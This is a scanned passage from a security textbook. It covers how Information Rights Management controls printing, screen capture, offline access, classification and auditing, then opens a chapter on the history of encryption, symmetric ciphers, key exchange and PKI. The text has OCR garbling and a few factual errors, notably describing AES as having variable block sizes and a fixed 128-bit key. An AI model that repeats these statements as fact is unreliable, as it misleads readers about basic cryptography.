feature of IRM solutions. Print features in IRM solutions can be implemented in various
ways. Some IRM solutions will detect the conversion to other digital formats through the
print driver, such as PDF print devices, and prevent this activity, while still allowing printing
to actual physical printers. Preventing any printing at all is also an option. The right to
print can be subject to further controls, such as mandatory automatic insertion of dynamic
watermarks (like “Confidential” or “Do not distribute”) into the content, thereby adding
unique identifiers into the printed copy.

Whether or not to grant rights to print can be a contentious issue. Users want to be able
to print documents freely, but organizations are often concerned about the proliferation of
uncontrolled copies that granting such rights may produce. The decision to enable this
right usually represents a balance between the usability of information by users and the
need to protect its confidentiality. Some IRM solutions have functionality that enables
administrators to dictate how many times a document can be printed, but in practice,
limiting the number of printed copies is really not an effective approach. If you give a user
the ability to print once, a simple trip to a Xerox machine defeats any IRM controls for
future printing. Ultimately, the decision should be straightforward: if the content is too
sensitive, don’t let people print it.

Forward and Reply Because many IRM solutions are able to protect e-mail in addition to
documents, there are usually e-mail-specific rights as well. Once again, the implementation
of these rights differs from vendor to vendor. Some solutions have the ability to control
whether someone can reply to a secure e-mail, while others have rights for allowing or
preventing the forwarding of e-mails. Some have more complicated rights restrictions, such
as controlling the ability to modify, copy, or export the content of the e-mail you are
replying to when replying to an IRM-secured e-mail.

Screen Capture One of the first questions many people ask when they first hear about
IRM technology is, “All that content control is just fine, but how are you going to stop
somebody from simply printing the screen to get around copy and print restrictions?”

The answer is, IRM products can control screen capture in addition to built-in
document functions. This helps avoid the side-channel approach to getting around security
by working outside the document software framework.

This restriction can also be used to prevent sharing of the screen during meetings,
presentations, online web meetings, and instant message chats.

Auditing and Reporting

The IRM capability to report on document access activities is one of its most useful features.
Even implementing IRM and giving everyone full access rights to all content, with no
restrictions, can have significant value in just the reporting capability itself. An access report
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can contain details of what was accessed, when it was accessed, and by whom, along with
details such as the activity involved (Create, Open, Print, Save) or where the content was
accessed from (IP address, location on disk). This information is not available with any
other data security solution, even DLP (Data Loss Prevention, which as mentioned in

Chapter 8 reports on access only, not usage). With IRM, you now have a total view into the
use of your most sensitive data. Some solutions even record attempted access to IRM-protected

content, so you can also see who is trying to get access even if they are denied. Offline
access to content can also be recorded and then sent back to the IRM server when the
client next accesses the server. This type of reporting is useful both for keeping internal
records and when working with compliance requirements or legal cases.

What if Somebody Takes a Picture of the Screen?

Photography is another side-channel approach to avoiding IRM controls that springs
to many people’s minds when they hear about IRM. “IRM sounds great,” they say,
“but what if I just take a picture of the screen?”

While it’s true that IRM can’t prevent somebody from taking a picture of the
screen, it certainly makes stealing or leaking documents much more difficult. Instead
of simply attaching a document to an e-mail or copying it to a USB drive, a person has
to work a lot harder to steal information from an IRM-protected document. Like in
an old spy movie, they would have to take a picture of each page, one at a time.

Furthermore, an authorized individual would have to first open the document. That
means a trusted insider is involved. Without IRM, anybody could steal your data, but with
IRM, it can only be done through a trusted channel. And, you have an audit trail, so you
can find out who opened the document at the time the pictures were taken.

Finally, if somebody has to resort to taking pictures to steal information, they are
willfully breaking the law (especially if the document is clearly labeled confidential)
and the activity is more actionable than with unprotected documents because of the
audit trail and the evidence that IRM provides. You can point to the thief and say “you
stole this information” because their actions were clearly overt, and they can’t use the
“I didn’t know” defense.

The built-in reporting features of IRM solutions may even lead some organizations to

avoid restricting access to their data, at least initially, so they can record access and collect

valuable information about usage patterns. Organizations that implement IRM initially
may want to limit printing, prevent people from editing, and lock down all access

to information. However, just the fact that IRM-protected content informs users that the
information has been secured with a technology that can control and track all use of

information may be a good initial step to changing user behavior and reducing the risk of
data loss. Knowing that the company gets reports on how many times each user accesses the

confidential information has an immediate psychological effect on users that motivates
them to treat IRM-secured content differently. People are less likely to forward an IRM-

protected document and are more likely to think twice about whom they intend to send it

to. It doesn’t matter whether the recipient would be able to open the content or not; just

the fact that IRM is protecting it causes users to be more cautious about how they handle it.
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They become aware, for example, that if they have rights to edit and print an IRM-protected
document, and choose to do so, someone, somewhere in the company will know they have
done so. This awareness can lead to positive changes in user behavior.

Going Offline

These days, computer devices are usually connected to a network of some form—the
Internet, wireless, cellular...even airplanes are providing network connectivity. It is rare
for a device to be totally offline anymore. However, occasionally people need to work with
unstructured content offline, albeit for only short periods. There are also situations where
a user may be online but unable to reach the IRM server to validate rights. As such, it is
important that an IRM technology allow for clients to handle the access of IRM-protected
content without requiring a direct network connection to the IRM server.

When assigning a right to access content, the IRM technology usually allows the definition
of some offline period. This time period dictates for how long the access to content remains
while the user is offline. When the period expires, the IRM client requires the user to regain
access to the IRM server to validate their continued access. Providing this grace period is
optional—you may wish to give users no offline period at all, and force them (for certain
content) to always communicate with the IRM server. Or, for less sensitive information, you
might go the other way and allow infinite offline access—but you probably would not do this
for highly confidential documents.

Allowing offline use, and choosing the allowed duration, should take into account that
sometimes you’ll want to revoke access (such as when an employee leaves the company).
As long as the user is offline, they can continue to access the content until the next time
they connect to the IRM server. You may choose to give certain individuals longer offline
periods, either because they are more trusted or because of their job role. Conversely, you
may choose to give contractors or temporary employees little or no offline duration.

Secure and usable offline use is not easy to implement, because of the need for the
application to check rights with the IRM server. Leading IRM vendors have solved these
challenges, as described below, which include:

* How to perform offline authentication and authorization to IRM content
* How to automate the caching to ensure usability

¢ How to protect the cached rights from tampering

Offline Authentication and Authorization

IRM products typically solve the problem of offline access by caching the rights that were
granted by the server at some previous time. This typically consists of saving the rights data in
a temporary location on the computer that was first used to attempt to access a protected
document. When the user first opens the document, the IRM client contacts the server to
check the user’s credentials (authentication) and what they are allowed to do (authorization).
Once it receives the response containing the authorization information, that information is
saved somewhere (typically on the hard drive, in a temporary file). Subsequent attempts to
open the same file while offline rely on the IRM software to check that cached information.
Thus, the user must carry with them the original computer used to first open the document
when they travel and need to go offline.
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Automating Offline Rights Caching

Balancing usability with security can be especially important when using IRM solutions. When
authorized users are traveling, or otherwise cut off from access, their IRM clients must ensure
that any rights they need are cached so that they can access content they are legitimately
allowed to. Some IRM technologies cache this information when you first access a piece of
content (as described above) for a specific classification, or sometimes the offline rights may
pertain only to a specific document. Alternatively, some products have the IRM server send all
available rights to the IRM client, even when the user has not actually accessed any content yet.

Tamper-Proofing Cached Rights

The cached rights information that is saved in the computer’s temporary location (such as
in a temporary file as described above) is cryptographically protected so it can’t be copied
to another computer or exploited by somebody who has not previously been properly
authenticated to the identity management system via the IRM server.

Unstructured Data Formats

Up to this point in our analysis of IRM technologies, we’ve covered the use of encryption to
protect content, access controls to ensure the right person gets to access those encrypted
files, and the rights which dictate how users can or cannot interact with the information.
Now we consider the types of unstructured content IRM typically secures.

One of the challenges of IRM is that it relies on the client software (document editing
programs like Microsoft Word and e-mail programs like Outlook) to follow the rules IRM
provides. To provide controls over things such as opening, editing, clipboard access, saving,
and printing, IRM needs to understand the format of the content being protected, and the
applications that open and render the content need to support those controls. This means that
the IRM client must integrate with those applications, on many disparate platforms, to ensure
that persistent security is delivered for the duration of the time the content is accessed.

E-Mail, Office, and PDF

Each IRM product has a set of formats it supports. The most commonly protected are

e Microsoft Office (Word, Excel, and PowerPoint)
e PDF

e E-mail

The applications and formats supported by IRM products are well defined for the
protection of Microsoft Office content. PDF documents are somewhat less supported,
because the PDF format is an open standard and many applications can render PDF
content. E-mail support varies as well. However, new releases and versions of these products,
and sometimes even patches and hotfixes, may require a delay while the IRM vendors catch
up to support changes in functionality. Choosing an IRM vendor will probably require
analysis of which of your platforms and applications are supported.

Generic File Protection
IRM products support a variety of different formats and applications. Many of them also
support generic file protection, which is for applications and formats that IRM technologies
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don’t currently support. It is an attempt to provide IRM functionality for a wider range of
environments. IRM functionality, in theory, can be applied to any unstructured file and
opened in any application. The advantage is support across a wider range of platforms for
more formats. The downside is that some features of IRM may not work, because the IRM
software is unable to completely integrate seamlessly with every third-party application to
provide the granular rights control described in the previous section. However, a generic
approach can support a broader range of formats to provide the primary value of IRM, which
is extension of the enterprise identity infrastructure to unstructured information anywhere.

Getting Started with IRM

The following is a summary of the steps required to get started with IRM, from a freshly
installed, blank service; to configuration of the rights model; to securing, distributing, and
accessing content; and finally to the revocation of access.

Classification Creation

Before anything can be secured, a data classification scheme is required to sort the data
into categories that can be used to apply rules. Some IRM solutions allow for the ad hoc
securing of content, which requires no initial preparation of classification. But the best
deployments are those that leverage a central policy or classification scheme that can be
mapped to a corporate security policy. The creation of the classification is typically done by
the security department, because it has the deepest knowledge of classification and
handling practices, and the ongoing ownership and management of the documents within
those categories can be owned by different business groups. Chapter 5, which covers
security policies, includes a discussion of common data classification practices.

Figure 9-9 shows an example of how data classification may be implemented in a
corporate environment in which there are four internal departments that want to use IRM
to control access to their documents: Engineering, Finance, HR, and Sales. This company
has five classifications for all information: Secret, Confidential, Proprietary, Controlled, and
Public. These five classifications are sometimes referred to by their shorthand identifiers,
L1 through Lb5. In this example, the Engineering department has three levels of sensitivity:
Secret, Confidential, and Proprietary. The Finance department also has Secret and
Confidential data. Sales produces some Confidential data and HR handles some Secret
data. In this use case, assume that each department has differing requirements for rights
based on how they intend their information to be used (such as: printing is allowed for HR
but not for Engineering at the Secret level, and Confidential Sales and Finance documents
allow copy and paste but Confidential Engineering documents do not).

This example depicts how the combinations of sensitivity levels and departmental
requirements play out. The granularity of user rights within an IRM solution, coupled with
a data classification scheme consisting of several levels of confidentiality and the complex
needs of varying departments, results in permutations that are simplified by creating an
IRM classification system. At the Secret level, three IRM classifications have resulted, called
“L1 Secret Engineering Information,” “LL1 Secret Finance Information,” and “L1 Secret
HR Information.” Likewise, Engineering, Finance, and Sales each have an L2 Confidential
classification, and Engineering has one L3 Proprietary classification. There is also a
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Information Security Policy IRM Classifications
Level | Label Description
L1 Secret Secret information which, if L1 Secret Engineering Information

leaked, could have a serious impact on
reputation, legal position, strategic
plans, or commercial situation. Access
on a need-to-know basis only.

L1 Secret Finance Information

L1 Secret HR Information

L2 Confidential | Confidential information and new
thinking, for example, about future
products, plans, and processes. The
entire collaborating team who are
developing the new plans have access
to these documents.

L2 Confidential Engineering Information
L2 Confidential Finance Information

L2 Confidential Sales Information

L3 Proprietary Information about current products,
plans, and processes and other
proprietary matters. All professional
staff have access.

L3 Proprietary Engineering Research

L4 Controlled Mildly sensitive information for
controlled use within the extended
enterprise, but not approved for public
circulation.

L4 Controlled External Communication

L5 Public Information intended to be shared

freely within and beyond the company. (none needed)

UL U

Figure 9-9 Data classification example

general category in this example called L.4 Controlled External Communication, for
documents that are classified as Controlled that are not tied to a particular department.
And for documents classified as L5 Public, IRM is not needed, since these documents are
intended to be open to all.

An IRM classification scheme translates complex use cases into simple designations that
people can understand and use. People who create documents that use these IRM
classifications will need to be trained on which ones to use, and when, but they won’t have to
worry about the underlying details. IRM classifications abstract the user rights to simple labels.

User Provisioning

You can’t control access to content without distinguishing individual users so that they can be
included in the access rights or excluded from opening documents. Thus, the IRM solution
must be connected to a directory containing user accounts and must be able to authenticate
incoming requests. It must also have a mechanism to authenticate external users, either
federated with external user stores or by creating accounts in the corporate directory store.
When creating accounts for external users, you must also communicate to them information
about how to install the IRM client software and what their credentials are, if you haven’t
federated the IRM solution with their existing identity management solution. Provisioning
may also involve the creation of groups that may be specific to the IRM solution.

Figure 9-10 demonstrates the necessity for user accounts to be in place before a user is
allowed to access a document in an IRM implementation. In this example, the IRM server
has received a request for document access from an IRM client, and is ready to authenticate
the user who is requesting access.
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Figure 9-10 User authentication example

In this example, the IRM server has been configured to connect to both Active Directory
(for employees) and an external LDAP directory (for contractors and other non-employees).
If a new employee wants to open an IRM-protected document, a user account must be
configured into Active Directory so the IRM server will be able to authenticate that person
and determine what rights to grant. Likewise, if a new contractor needs access to protected
documents, a user account must first be configured into the LDAP directory and the
username and password need to be given to the contractor (in this case, via e-mail) so they
can authenticate when they attempt to open the document. Of course, if the authentication
attempt fails on both Active Directory and LDAP, all access to the document is denied.

Rights Assignment

With users available to the IRM server, you can now associate their accounts with the
classification you’ve created and give them rights. Rights assignment can be done in a
variety of ways by different members of the business. You can assign rights directly to
individual users, but this creates administrative overhead and is not generally considered
a best practice in any rights-assignment scenario. It is better to create or use existing
groups and assign rights at this level, even if a group has only a single user account in it
(see Figure 9-11). Then the management of groups in the directory has a direct reflection
on which users have access to IRM-secured content.

The management of rights groups can vary among products. It may be defined by the
security department or the IT department. Some IRM solutions allow for this management
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Figure 9-11 Rights assignment example

to be handed over to the owners of the information. The information owners may be in the
best position to decide how they want their documents to be used.

Securing Content

The IRM solution is now ready to protect content. There are two typical approaches to
doing this, as shown in Figure 9-12. One approach is to allow users to actively select
information and choose the appropriate classification, and the other is to remove the
decision from the user entirely and automate the protection. This is done through either
integration with the application generating the content or by monitoring a file share and
automatically securing files as they are stored within. DLP technologies are often integrated
at this point to automate the creation of IRM control documents.

Automatic Manual

When Stored in ...

File Share

When Downloaded from ...

Document

v

Web Application By User ...

Detected By ...

Figure 9-12 Automatic and manual content protection
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Distributing Content

A key factor of IRM technologies is that, once documents are protected with IRM, it no
longer matters how content is distributed. It can be e-mailed, posted on a website or file-
sharing site, stored on a network file share, or even copied to a CD or USB drive (see
Figure 9-13). There are numerous ways in which unstructured content can be distributed,
and IRM works with all of them. Thus, the decision about how to distribute content to the
end users can be based entirely on other business factors besides security.

Installing and Configuring the IRM Client

For large organizations with mature IT departments, it is usually possible to deploy the IRM
client software automatically, at least to internal users. For some IRM technologies, the client
software may already be in place—for example, in Adobe Reader or Microsoft Windows.
However, you should consider the eventuality that at some point IRM-protected content will
end up on the desk of someone who does not have the IRM client. They will then need to
install the software and configure it so it can communicate with your IRM server. Most IRM
solutions automate the client configuration, either by auto discovery or when a piece of
IRM content is first opened. When this is done, the server settings are stored without user
interaction.

Authentication

Now that a user has a piece of IRM content and the software required to open it,
authentication takes place. This might be transparent if the IRM client supports single sign-
on (SSO). For users who are external to the organization and for whom accounts have been
precreated, there needs to be a mechanism of communicating their username and password
beforehand. A common approach is to e-mail these details with a temporary password, which

Cloud
E-mail % WWW
HrTP |™™
FTP
IRM

T
2

Figure 9-13 Examples of content distribution
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COracle IRM Server Credentials

ORACLE

INFORMATION RIGHTS MANAGEMENT

Login required For Qracle IRM server:
https: ffirm oracle, demo: 443 /irm_desktop

Lser name: |ﬂ [ﬂ I

Password:

[ 1remember my password

I Ok l [ Cancel

Figure 9-14 User authentication example

the user is then prompted to change upon their first access to the IRM server (as depicted in
Figure 9-10). This authentication phase may also take place offline and may differ from the
online mechanism.

Figure 9-14 shows a login screen for an IRM system that is prompting the user for their
username and password. This system allows the user to save their password for future attempts,
in which case the software will pass the stored credentials back to the authentication server,
and if they are still valid, the user will get access without having to re-type their password.

Authorization

Once authentication validates who the user is, the IRM solution must determine what rights
they are authorized to have. This determination may be done with the built-in IRM rights
model or it may be externalized to an existing application or technology that is already
configured to understand who should get access to what.

Rights Retrieval and Storage

If the user is granted rights to the content, these are packaged up in a secure form and sent
securely over the network to the IRM client to be interpreted. The rights package will also
contain the cryptographic keys that allow the IRM client to decrypt the content.

If the rights are able to be cached and stored for offline use, they must be written to the
host storage in a secure fashion and must be retrievable offline securely.

Content Access and Rights Invocation

At this stage, everything is in place to actually decrypt and access the IRM-secured content.
The cryptographic keys need to be securely accessed and then used to decrypt the content.
The rendering application then needs to be started and secured. The IRM client may need
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Time User Function | Context File Status

9/30/2012 16:34 | mark.rhodes-ousley | Open L2 Confidential Engineering Information heat-source.docx Success
9/30/2012 21:22 | mark.rhodes-ousley | Open L2 Confidential Engineering Information specifications.docx Success
9/30/2012 21:51 | mark.rhodes-ousley Print L2 Confidential Engineering Information specifications.docx Success
10/1/2012 18:58 | mark.rhodes-ousley | Open L2 Confidential Engineering Information heat-source.docx Success
10/3/2012 10:34 | mark.rhodes-ousley Open L2 Confidential Engineering Information specifications.docx Success
10/3/2012 14:10 | mark.rhodes-ousley Open L2 Confidential Engineering Information runtime.xlsx Success
10/3/2012 18:58 | mark.rhodes-ousley | Open L2 Confidential Engineering Information results.pptx Success
10/5/2012 17:46 | mark.rhodes-ousley | Open L2 Confidential Engineering Information design.vsd Success
10/6/2012 21:22 | mark.rhodes-ousley | Open L2 Confidential Engineering Information design.vsd Success

Figure 9-15 Access auditing example

to hook into operating system functionality, such as the clipboard and screen-capture
functionality. This all takes place before the decrypted content can be handed off to the
application for rendering to the user.

Access Auditing and Reporting

Each time an IRM-secured document is opened, an audit record is generated, as shown
in the example in Figure 9-15. These records may be generated on the server in real time
as the request is made, or they may be cached offline and sent back to the server on a
scheduled basis.

Rights Revocation

Finally, at some point the user will no longer require access to the sensitive data. At this
point, their rights are revoked from the IRM server. This change in rights may happen
immediately, if the client is online, or it may need to wait until the offline period expires,
forcing the IRM client to communicate back to the server before the document can be
opened, at which point the client discovers that the rights are no longer valid.

Summary

IRM technologies are a different, comprehensive approach to securing unstructured data.
Unlike access control systems such as those built into file servers, or file encryption tools
that require passwords and either grant all rights or none at all, IRM combines an entire
layered security approach of access control, authentication, encryption, authorization, and
auditing into a data-centric solution. By shrinking the access control perimeter from the
network and storage to the content itself, IRM is able to enforce access and the security of
documents and e-mails no matter where they reside.

The future of IRM technologies and their adoption may depend on the continued
expansion of format support. Some vendors are evolving the platforms to a degree where
they can support many of the basic IRM rights controls such as Open, Print, and Edit with
a thin and simple application integration. This approach allows for the support of many
formats, while giving up some of the finer-grained controls. Enterprises are also continuing
to see increasing numbers and diversity of devices in the enterprise, including tablets and
smartphone formats, which need to be supported in a comprehensive IRM deployment.
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The security challenges of unstructured content are increasing along with the continued
proliferation of unstructured data, and IRM is a good tool to deliver a persistent level of
access control to information regardless of where it is and where it goes.
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CHAPTER

1 O Encryption

Keeping secrets by disguising them, hiding them, or making them indecipherable to others
is an ancient practice. It evolved into the modern practice of cryptography—the science of
secret writing, or the study of obscuring data using algorithms and secret keys.

A Brief History of Encryption

Once upon a time, keeping data secret was not hard. Hundreds of years ago, when few
people were literate, the use of written language alone often sufficed to keep information
from becoming general knowledge. To keep secrets then, you simply had to write them
down, keep them hidden from those few people who could read, and prevent others from
learning how to read. Deciphering the meaning of a document is difficult if it is written in a
language you do not know.

History tells us that important secrets were kept by writing them down and hiding them
from literate people. Persian border guards in the fourth century B.c. let blank wax writing
tablets pass, but the tablets hid a message warning Greece of an impending attack. The
message was simply covered by a thin layer of fresh wax. Scribes also tattooed messages on the
shaved heads of messengers. When their hair grew back in, the messengers could travel
incognito through enemy lands. When they arrived at their destination, their heads were
shaved and the knowledge was revealed. But the fate of nations could not rely for very long
on such obfuscation, which relied entirely on these tricks to keep the writing secret. It did not
take very long for ancient military leaders to create and use more sophisticated techniques.
Ever since then, encryption has been a process of using increasingly complex tactics to stay
one step ahead of those who want your secret data.

When hiding meanings in ordinary written language and hiding the message itself
became passé, the idea of hiding the meaning became the rule. From what we know of
early civilizations, they loved a good puzzle. What greater puzzle than to obscure a message
using a series of steps? Unless you knew the steps taken—the algorithm used to produce the
cipher (the name for the disguised message)—you couldn’t untangle or decipher it without
a great deal of difficulty. However, the challenge of an unsolvable puzzle was irresistible to
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the best minds (which also remains true to this day). Eventually each code was broken,
revealing each secret. Soon every side had its makers of codes and its code breakers.

Early Codes

Early code attempts used transposition. They simply rearranged the order of the letters in a
message. Of course, this rearrangement had to follow some order, or the recipient would not
be able to restore the message. The use of the scytale by the Spartans in the fifth century B.c.
is the earliest record of a pattern being used for a transposition code. The scytale was a rod
around which a strip of paper was wrapped. The message was written down the side of the
rod, and when it was unwound, the message was unreadable. If the messenger was caught,
the message was safe. If he arrived safely, the message was wound around an identical rod
and read.

Other early attempts at cryptography (the science of data protection via encryption)
used substitution. A substitution algorithm simply replaces each character in a message with
another character. Caesar’s cipher is an example of a substitution algorithm. To create these
messages, you list the alphabet across a page and agree with the recipient on the starting
letter—suppose you agree to start with the fourth letter of the alphabet, D. Starting with this
letter, you write down a new alphabet under the old, so it looks like this:

[A]B[C]
[DIE[F]

Substitution code book

To write a coded message, simply substitute the letter in the second row every time its
corresponding letter in the first row would be used in the message. The message “The
administrator password is password” becomes “Wkh dgplqlvwudwru sdvvzrug lv sdvvzrug.”
To decipher the message, of course, you simply match the letters in the coded message to
the second row and substitute the letters from the first.

These codes are interesting, but they are quite easy to break, as Mary, Queen of Scots,
learned the hard way in the 16th century. Mary plotted to overthrow Queen Elizabeth of
England, but her plans were found and decoded, and she was beheaded.

The use of such codes, in which knowledge of the algorithm is all that keeps the
message safe, has long been known to be poor practice. Sooner or later, someone will
deduce the algorithm, and all is lost. Monoalphabetic algorithms (those using a single
alphabet), like the previous code, are easily broken by using the mathematics of frequency
analysis. This science relies on the fact that some letters occur more often in written
language than others. If you have a large enough sample of the secret code, you can apply
the knowledge of these frequencies to eventually break the code. Frequency analysis is an
example of cryptanalysis (the analysis of cryptographic algorithms).

Eventually, of course, variations of substitution algorithms appeared. These algorithms
used multiple alphabets and could not be cracked by simple frequency analysis. One of
these, the Vigenere Square, used 26 copies of the alphabet and a key word to determine
which unique substitution was to be used on each letter of the message. This complex,
polyalphabetic algorithm, developed by the 16th century French diplomat, Blaise de
Vigenere, was not broken for 300 years. One of the reasons for its success was the infinite
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variety of keys—the keyspace that could be used. The key itself, a word or even a random
combination of letters, could be of varied length, and any possible combination of
characters could be used. In general, the larger the keyspace, the harder a code is to crack.

The first one-time pads were actual collections of paper—pads that had a unique key
written on each page. Each correspondent possessed a duplicate of the pad, and each
message used a new key from the next sheet in the pad. After its one-time use, the key was
thrown away. This technique was successfully used during World War I. The key was often
used in combination with a Vigenére Square. Since the key changed for each message, the
impact of a deduced key only resulted in the current message being lost.

More Modern Codes

The modern stream and block ciphers used today are sophisticated encryption algorithms
that run on high-speed computers, but their origins were in simple physical devices used
during colonial times. An example of such an early device is the cipher disk. The cipher disk
was actually composed of two disks, each with the alphabet inscribed around its edge. Since
the diameter of the disks varied, the manner in which the alphabets lined up differed from
set to set. To further complicate the matter, an offset, or starting point, was chosen. Only
the possessor of a duplicate cipher disk set with knowledge of the offset could produce the
same “stream” of characters.

In 1918, the German Enigma machine used the same principle but included 15,000
possible initial settings. Even the possession of the machine was no guarantee of success in
breaking the code, as you had to know the setting used at the start. Imagine a series of
rotators and shifters that change their location as they are used. Input the letter D, and
after a bit, the letter Iis output. Put in another D and you may get a G or a U. While this
encoding may seem arbitrary, it can be reproduced if you have an identical machine and if
you configure it exactly the same way. This machine was used extensively during World War 1II,
but its code was broken with the use of mathematics, statistics, and computational ability.
Early versions of the machine were actually produced for commercial purposes, and long
before Hitler came to power, the code was broken by the brilliant Polish mathematician
Marian Rejewski. Another version of the machine was used during World War II. Alan
Turing and the British cryptographic staff at Bletchley Park used an Enigma machine
provided by the Poles and again broke the codes.

Other encryption devices were produced and used during this same time period. The U.S.
government’s “Big Machine” looks like an early typewriter on steroids. This machine, officially
known as the Sigaba, is the only known encryption machine whose code was not broken during
World War II. Other machines are the Typex, designed for secure communications between the
British and the Americans, the American Tunney and Sturgeon machines, which were capable
of both encrypting and transmitting, and the Japanese Purple and Jade machines.

These machines, or parts of them, can be seen at the National Security Association
Museum.

Symmetric-Key Cryptography
Every encryption technology from the past is still used today, in one form or another.

Modern steganography hides messages in web graphics files and in the static that
accompanies radio messages. School children and journal writers compose messages using
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simple substitution algorithms, and sophisticated one-time pads are reproduced in software
and hardware tokens.

Likewise, stream ciphers are often produced in code today, a modern example being RC4.
Programmatic stream ciphers use a key to produce a key table, and then a byte of the key
table and a byte of plaintext (text that is not encrypted) are XORed. The key table is
remixed and a new byte of the table is XORed with the next byte of the plaintext message.
When the entire message has been thus encrypted to produce ciphertext, it is delivered.
XOR, or exclusive OR, is a logic statement by which ones and zeros can be added. Since
XOR is reversible, if the original key and the algorithm for producing the table are known,
the ciphertext can be decrypted.

While a stream cipher works on one character at a time, block ciphers work on a block of
many bits at a time. A nonlinear Boolean function is used. Unlike stream ciphers, early block
ciphers did not vary the key, which made the results easier to break because encrypting the
same combinations of letters resulted in the same ciphertext. Frequency analysis could
effectively be used to break the code. Later block ciphers incorporated additional functions
against the ciphertext to obscure any repetitive data. DES, once the encryption standard of
the U.S. government, is a block cipher that uses 16 rounds of activity against a 64-bit block of
data, with each round adding a layer of complexity. This algorithm is well known, but without
the secret key (which is 40 or 56 bits in length), it is difficult to decrypt. In fact, DES was once
considered so secure that it was forecast that it would take a million years before it could be
broken. These days, most computers can break DES in just a few hours or less. This is a good
example of overestimation based on computing power at a particular point in time. As
computing power continues to increase and continues to become cheaper, in keeping with
Moore’s law, encryption method after encryption method will fall.

Triple DES was the next enhancement to DES. It concatenates DES ciphertext with
itself and uses up to three keys, hence the name. The Advanced Encryption Standard (AES)
has now replaced DES and Triple DES as the new U.S. federal government standard. AES
(which is actually the Rijndael algorithm) is a cipher block algorithm that uses a 128-bit,
192-bit, or 256-bit block size and a key size of 128 bits. Other examples of block ciphers are
RSA’s RC2 and RCb, Entrust’s CAST, and Counterpane Systems’ Blowfish. Unlike DES, they
can use variable-sized, large keys. For these algorithms, a larger key size results in stronger
encryption. Cryptographers will continue to recommend ever-increasing key sizes for these
encryption techniques, as computing power catches up to the complexity of the algorithms.

The U.S. National Institute of Standards and Technology (NIST) has published rules
regarding the use of encryption within U.S. government agencies, in Special Publication
800-131A. In recognition of the limited lifespan of encryption techniques as computers
grow ever more powerful, this publication specifies end-of-life dates for various
cryptosystems. In this publication, Triple DES has two key lengths, known as two-key Triple
DES and three-key Triple DES. Two-key Triple DES has been assessed at a security strength
of 80 bits, whereas three-key Triple DES is assessed at a security strength of 112 bits.
Skipjack, a block cipher developed by the U.S. National Security Agency (NSA), is assessed
at a security strength of 80 bits. AES has three approved key lengths: 128, 192, and 256 bits.
AES-128 is assessed at a security strength of 128 bits, AES 192 at a security strength of
192 bits, and AES-256 at a security strength of 256 bits.

The NIST transition schedule for encryption algorithms is provided in Table 10-1.
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Algorithm Use
Two-key Triple DES Encryption Acceptable through 2010
Restricted use from 2011 through 2015
Disallowed after 2015
Two-key Triple DES Decryption Acceptable through 2010
Legacy use after 2010
Three-key Triple DES Encryption and Decryption | Currently acceptable
SKIPJACK Encryption Acceptable through 2010
SKIPJACK Decryption Acceptable through 2010
Legacy use after 2010
AES-128 Encryption and Decryption Currently acceptable
AES-192 Encryption and Decryption Currently acceptable
AES-256 Encryption and Decryption Currently acceptable

Table 10-1 Encryption Transitions Specified in NIST SP800-131A, Demonstrating Limited Lifespan
for Cryptosystems

Key Exchange

The previously described cryptographic algorithms have at their heart the use of a single,
secret key. This key is used to encrypt the data, and the same key, or a copy of it, is used to
decrypt the data. This key may be used to produce other keys, but the principle is the
same. These single-key, symmetric algorithms work fine as long as the key can somehow be
shared between the parties that wish to use it. In the past, this has often been done by the
out-of-bounds means, such as using a courier or a personal visit, or some other method
that did not involve the as yet to be established communication. Over time, the needs of
cryptography spread, and with this came an increasing need to frequently change keys to
prevent discovery or to lessen the impact of a compromised key. It was not always possible
for people to meet, or to scale the out-of-bounds method. The problem becomes
significantly more difficult when you want to apply the use of cryptography to thousands
of machine-generated communications.

A way to solve this problem was first proposed by Whitfield Diffie and Martin Hellman.
The Diffie-Hellman key agreement protocol uses two sets of mathematically related keys
and a complex mathematical equation that takes advantage of this relationship. If each of
two computers calculates its own set of related keys (neither set being related to the other)
and shares one of the keys with the other computer, they each can independently calculate
a third secret key that will be the same on each computer. This secret key can be used
independently to generate a number of symmetric encryption keys that the two computers
can use to encrypt data traveling from one to the other.

Public Key Cryptography
Another method for exchanging a session key is to use public key cryptography. This algorithm is

asymmetric—it uses a set of related keys. If one key is used to encrypt the message, the other
is used to decrypt it, and vice versa. This means that if each party holds one of the keys, a
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session key can be securely exchanged. In the typical arrangement, each party has their own
set of these asymmetric keys. One of the key pairs is known as the private key and the other as
the public key. Public keys are exchanged and private keys are kept secret. Even if a public key
becomes, well, public, it does not compromise the system. It’s meant to be shared openly.

In addition to its use for key exchange, public key cryptography is used to create digital
signatures. These algorithms traditionally use very large keys, and while you could use
public key cryptography to encrypt whole messages or blocks of data on a disk, the process
is remarkably slow compared to symmetric-key cryptography.

Bigger is better, but maybe not forever. Many security mechanisms, both on the Internet
and off, rely on the security behind public key algorithms, such as RSA’s algorithms. Public
key cryptography relies, in part, on the inability of large numbers to be factored. That’s why
Microsoft released an update for its operating systems in August 2012 to block the use of
any RSA keys less than 1024 bits in length. Computing power had become sufficient to
easily factor the numbers in smaller key sizes.

Key Exchange

Public/private key pairs can be used to exchange session keys. To do so, each party that
needs to exchange keys generates a key pair. The public keys are either exchanged among
the parties or kept in a database. The private keys are kept secret. When it is necessary to
exchange a key, one party can encrypt it using the public key of the other. The encrypted
key is then transmitted to the other party. Since only the intended recipient holds the
private key that is related to the public key used to encrypt the session key, only that party
can decrypt the session key. The confidentiality of the session key is assured, and it can then
be used to encrypt communications between the two parties.

The steps are outlined here and are illustrated in Figure 10-1. Operations 1 and 2 can
take place at the same time, as can operations 3 and 4.

<+— A and B can use session key to encrypt ——»

messages sent between them !

B decrypts session key@
@ A encrypts session key with B's .
public key and sends it to B

' @ A creates session key

Computer A A’s public key Public key storage B’s public key Computer B

(®) A and B make their public keys available (@)
@ A and B each generate a key pair @

v

Figure 10-1 Using public key cryptography for key exchange
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Public Key Infrastructure

Public Key Infrastructure (PKI) has become one of the most prevalent forms of encryption
in modern electronic transactions. An associated key pair is bound to a security principal
(user or computer) by a certificate. The certificate also makes the security principal’s public
key available, while the related private key is kept hidden.

A certificate authority (CA) issues, catalogs, renews, and revokes certificates under the
management of a policy and administrative control. There is no need either to purchase
third-party products to do so, or to purchase individual certificates from public CAs. (There
may, however, be additional reasons to do that, such as to obtain an SSL certificate for a
public e-commerce site.) Newer versions of Windows Server have continued to provide CA
services and to add functionality. For example, Windows Server 2003 Enterprise CAs offer
version 2 certificate templates and Windows Server 2008 Enterprise CAs offer version 3
certificate templates to allow for further control and customization.

Structure and Function

Multiple CAs can be arranged in a hierarchy for security, redundancy, and geographical
